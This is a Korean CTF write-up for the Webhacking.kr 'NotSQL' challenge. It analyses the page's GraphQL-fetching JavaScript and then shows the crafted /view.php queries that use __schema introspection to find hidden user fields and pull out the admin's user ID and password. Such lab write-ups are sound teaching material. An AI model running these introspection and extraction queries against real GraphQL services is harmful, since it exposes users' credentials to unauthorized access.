[Webhacking.kr] NotSQL
https://webhacking.kr/chall.php
Webhacking.kr
webhacking.kr
http://webhacking.kr:10012/
webhacking.kr:10012
처음에 문제 이름만 대충 보고 NoSQL Injection 문제인 줄 알았다.. 하지만 GraphQL Injection 문제이기에 해당 공격 기법에 대해 모른다면 아래의 글을 통해 개념을 익히고 풀어보면 좋을 것 같다.
GraphQL Injection
GraphQL Injection이란?GraphQL Injection이란 GraphQL 쿼리가 담긴 요청을 조작하여 악의적인 요청을 보내는 기법입니다.API와 GraphQL에 관한 설명은 다른 포스팅을 참고해 주세요 (API란? / GraphQL이란?) 아래
pandyo.tistory.com
코드
<html>
<head></head>
<body>
<h2>Board</h2><hr>
<div id="board">
<a href"/?no=1">Hello world :)</a><br>
<a href"/?no=2">Hell world :(</a><br>
</div>
<script>
function getQueryVar(variable) {
var query = window.location.search.substring(1);
var vars = query.split('&');
for (var i = 0; i < vars.length; i++) {
var pair = vars[i].split('=');
if (decodeURIComponent(pair[0]) == variable) {
return decodeURIComponent(pair[1]);
}
}
}
if(!getQueryVar("no")){
q = `query{
view{
no,
subject
}
}`;
xhr = new XMLHttpRequest();
xhr.open("GET", "/view.php?query="+JSON.stringify(q).slice(1).slice(0,-1),false);
xhr.send();
res = JSON.parse(xhr.response);
for(i=0;i<res.data.view.length;i++){
board.innerHTML += `<a href=/?no=${res.data.view[i].no}>${res.data.view[i].subject}</a><br>`;
}
}
else{
q = `query{
view{
no,
subject,
content
}
}`;
xhr = new XMLHttpRequest();
xhr.open("GET", "/view.php?query="+JSON.stringify(q).slice(1).slice(0,-1),false);
xhr.send();
res = JSON.parse(xhr.response);
v = res.data.view;
try{
parsed = v.find(v => v.no==getQueryVar("no"));
board.innerHTML = `<h2>${parsed.subject}</h2><br><br>${parsed.content}`;
}
catch{
board.innerHTML = `<h2>???</h2><br><br>404 Not Found.`;
}
}
</script>
</body>
</html>
코드 분석
<div id="board">
<a href="/?no=1">Hello world :)</a><br>
<a href="/?no=2">Hell world :(</a><br>
</div>
a태그를 통해 Hello world 또는 Hell world를 눌렀을 때 해당 파라미터로 이동
function getQueryVar(variable) {
var query = window.location.search.substring(1);
var vars = query.split('&');
for (var i = 0; i < vars.length; i++) {
var pair = vars[i].split('=');
if (decodeURIComponent(pair[0]) == variable) {
return decodeURIComponent(pair[1]);
}
}
}
?를 제외한 부분을 가져오고 &를 기준으로 나누어 배열로 만듦
배열의 길이만큼 반복해 주는데 이 반복문에서 = 문자를 기준으로 키와 값을 나누어 배열로 만듦
pair 배열에 저장된 키가 getQueryVar에 전달된 값과 같다면 값을 반환
→ URL 파라미터에서 특정 변수의 값을 가져오는 기능
if (!getQueryVar("no")) {
q = `query{
view{
no,
subject
}
}`;
xhr = new XMLHttpRequest();
xhr.open("GET", "/view.php?query=" + JSON.stringify(q).slice(1).slice(0, -1), false);
xhr.send();
res = JSON.parse(xhr.response);
for (i = 0; i < res.data.view.length; i++) {
board.innerHTML += `<a href=/?no=${res.data.view[i].no}>${res.data.view[i].subject}</a><br>`;
}
}
getQueryVar 함수에서 no가 아닌 경우 실행되는 if문 (즉, URL에 no 파라미터가 없는 경우)
GraphQL으로 no와 subject를 조회하는 쿼리 생성 (게시글 번호와 제목)
view라는 데이터를 요청하고 그 안에서 no와 subject 필드 요청
XMLHttpRequest 객체를 사용하여 false를 통해 서버에 동기식 요청으로 보냄
xhr.open을 통해 get요청을 준비하는데 이때 /view.php로 요청을 보냄
파라미터 값으로는 no와 subject를 조회하는 쿼리를 JSON 형식의 문자열로 변환한 값을 보내는데 이때 JSON형식 문자열에서 앞뒤의 중괄호를 제거하여 요청을 보내줌
xhr.send()를 통해 준비한 요청 전송 후 요청에 대한 응답을 JSON 형식으로 파싱 하여 res 변수에 저장
# 이런식의 응답을 저장
res = {
data: {
view: [
{ no: 1, subject: "Hello world :)" },
{ no: 2, subject: "Hell world :(" }
]
}
}
해당 부분에서 data라는 키에 접근하여 view라는 배열의 길이만큼 반복문을 실행
해당 배열에 저장된 값을 동적으로 링크를 생성하여 board 요소의 HTML 내용을 추가
else {
q = `query{
view{
no,
subject,
content
}
}`;
xhr = new XMLHttpRequest();
xhr.open("GET", "/view.php?query=" + JSON.stringify(q).slice(1).slice(0, -1), false);
xhr.send();
res = JSON.parse(xhr.response);
v = res.data.view;
try {
parsed = v.find(v => v.no == getQueryVar("no"));
board.innerHTML = `<h2>${parsed.subject}</h2><br><br>${parsed.content}`;
} catch {
board.innerHTML = `<h2>???</h2><br><br>404 Not Found.`;
}
}
만약 getQueryVar 함수에서 no가 있을 경우 실행되는 else문 (즉, URL에 no 파라미터가 있는 경우)
GraphQL 형식으로 no와 subject, content를 조회하는 쿼리 생성 (게시글 번호와 제목, 게시글)
위의 if문과 동일하게 xhr.open을 통해 해당 쿼리를 json형식으로 앞뒤의 중괄호를 없애 동기식 요청을 보냄
해당 응답을 res에 담고, data라는 키에 view 배열 값을 v라는 변수에 저장
에러가 발생하지 않는다면 v라는 배열에서 아래의 조건을 만족하는 첫 요소를 찾음
⇒ 배열의 각 요소에 no라는 속성이 URL의 쿼리 파라미터 no와 일치하는지
해당 요소값을 찾고 parsed에 담은 후 parsed에 담긴 요소의 제목과 내용을 HTML로 만들어 board요소 내용으로 추가
⇒ 만약 try에서 에러가 발생하면 404 not Found 에러 발생
페이지
풀이
만약 no=1이라는 요청을 보내면,
/view.php?query={view{no , subject, content}}
와 같은 요청이 가는데 파라미터에 입력된 no=1을 확인하고 no가 1인 값을 반환하도록 함
/?no=3을 입력하면 아래와 같은 에러
view.php로 보내는 GraphQL 쿼리를 그대로 입력하면
이런 식으로 쿼리 결과가 출력됨
GraphQL에도 sql에서 사용하는 information_schema.tables와 비슷한 __schema라는 스키마에 대한 정보를 쿼리 할 수 있는 필드를 통해 아래와 같은 파라미터 값을 입력할 시
/view.php?query={__schema{types{name, fields{name, type{name}}}}}
위와 같이 스키마에 대한 정보를 확인할 수 있었음
스키마 내용 분석
{"data":{"__schema":{"types":[{"name":"Board","fields":[{"name":"no","type":{"name":"Int"}},{"name":"subject","type":{"name":"String"}},{"name":"content","type":{"name":"String"}}]},{"name":"Int","fields":null},{"name":"String","fields":null},{"name":"User_d51e7f78cbb219316e0b7cfe1a64540a","fields":[{"name":"userid_a7fce99fa52d173843130a9620a787ce","type":{"name":"String"}},{"name":"passwd_e31db968948082b92e60411dd15a25cd","type":{"name":"String"}}]},{"name":"Query","fields":[{"name":"view","type":{"name":null}},{"name":"login_51b48f6f7e6947fba0a88a7147d54152","type":{"name":null}}]},{"name":"CacheControlScope","fields":null},{"name":"Upload","fields":null},{"name":"Boolean","fields":null},{"name":"__Schema","fields":[{"name":"description","type":{"name":"String"}},{"name":"types","type":{"name":null}},{"name":"queryType","type":{"name":null}},{"name":"mutationType","type":{"name":"__Type"}},{"name":"subscriptionType","type":{"name":"__Type"}},{"name":"directives","type":{"name":null}}]},{"name":"__Type","fields":[{"name":"kind","type":{"name":null}},{"name":"name","type":{"name":"String"}},{"name":"description","type":{"name":"String"}},{"name":"specifiedByUrl","type":{"name":"String"}},{"name":"fields","type":{"name":null}},{"name":"interfaces","type":{"name":null}},{"name":"possibleTypes","type":{"name":null}},{"name":"enumValues","type":{"name":null}},{"name":"inputFields","type":{"name":null}},{"name":"ofType","type":{"name":"__Type"}}]},{"name":"__TypeKind","fields":null},{"name":"__Field","fields":[{"name":"name","type":{"name":null}},{"name":"description","type":{"name":"String"}},{"name":"args","type":{"name":null}},{"name":"type","type":{"name":null}},{"name":"isDeprecated","type":{"name":null}},{"name":"deprecationReason","type":{"name":"String"}}]},{"name":"__InputValue","fields":[{"name":"name","type":{"name":null}},{"name":"description","type":{"name":"String"}},{"name":"type","type":{"name":null}},{"name":"defaultValue","type":{"name":"String"}},{"name":"isDeprecated","type":{"name":null}},{"name":"deprecationReason","type":{"name":"String"}}]},{"name":"__EnumValue","fields":[{"name":"name","type":{"name":null}},{"name":"description","type":{"name":"String"}},{"name":"isDeprecated","type":{"name":null}},{"name":"deprecationReason","type":{"name":"String"}}]},{"name":"__Directive","fields":[{"name":"name","type":{"name":null}},{"name":"description","type":{"name":"String"}},{"name":"isRepeatable","type":{"name":null}},{"name":"locations","type":{"name":null}},{"name":"args","type":{"name":null}}]},{"name":"__DirectiveLocation","fields":null}]}}}
- board는 int 타입의 no라는 필드와 string 타입의 subject라는 필드와 string 타입의 content라는 필드를 갖고 있음
- User_d51e7f78cbb219316e0b7cfe1a64540a는 string 타입의 userid_a7fce99fa52d173843130a9620a787ce라는 필드와 string 타입의 passwd_e31db968948082b92e60411dd15a25cd라는 필드를 갖고 있음
- Query는 타입이 명시되지 않은 view라는 필드와 타입이 명시되지 않은 login_51b48f6f7e6947fba0a88a7147d54152라는 필드를 갖고 있음
그 외의 타입들은 모두 GraphQL의 내장 타입들이기 때문에 문제에서 사용되지 않을 것 같아 넘어감
query에 명시된 view는 board에 요청을 보낼 수 있는 것 같고, login_51b48f6f7e6947fba0a88a7147d54152는 User_d51e7f78cbb219316e0b7cfe1a64540a으로 요청을 보낼 수 있을 것 같다고 판단
view 쿼리를 보낸 것과 같은 방법으로 login_51b48f6f7e6947fba0a88a7147d54152 쿼리를 보내는 요청 생성
/view.php?query=query{login_51b48f6f7e6947fba0a88a7147d54152{userid_a7fce99fa52d173843130a9620a787ce}}
위와 같은 파라미터로 요청을 보냈더니
admin이라는 유저가 있는 것을 확인하였고 아래와 같은 파라미터로 요청했더니
/view.php?query=query{login_51b48f6f7e6947fba0a88a7147d54152{passwd_e31db968948082b92e60411dd15a25cd}}
플래그 획득!!!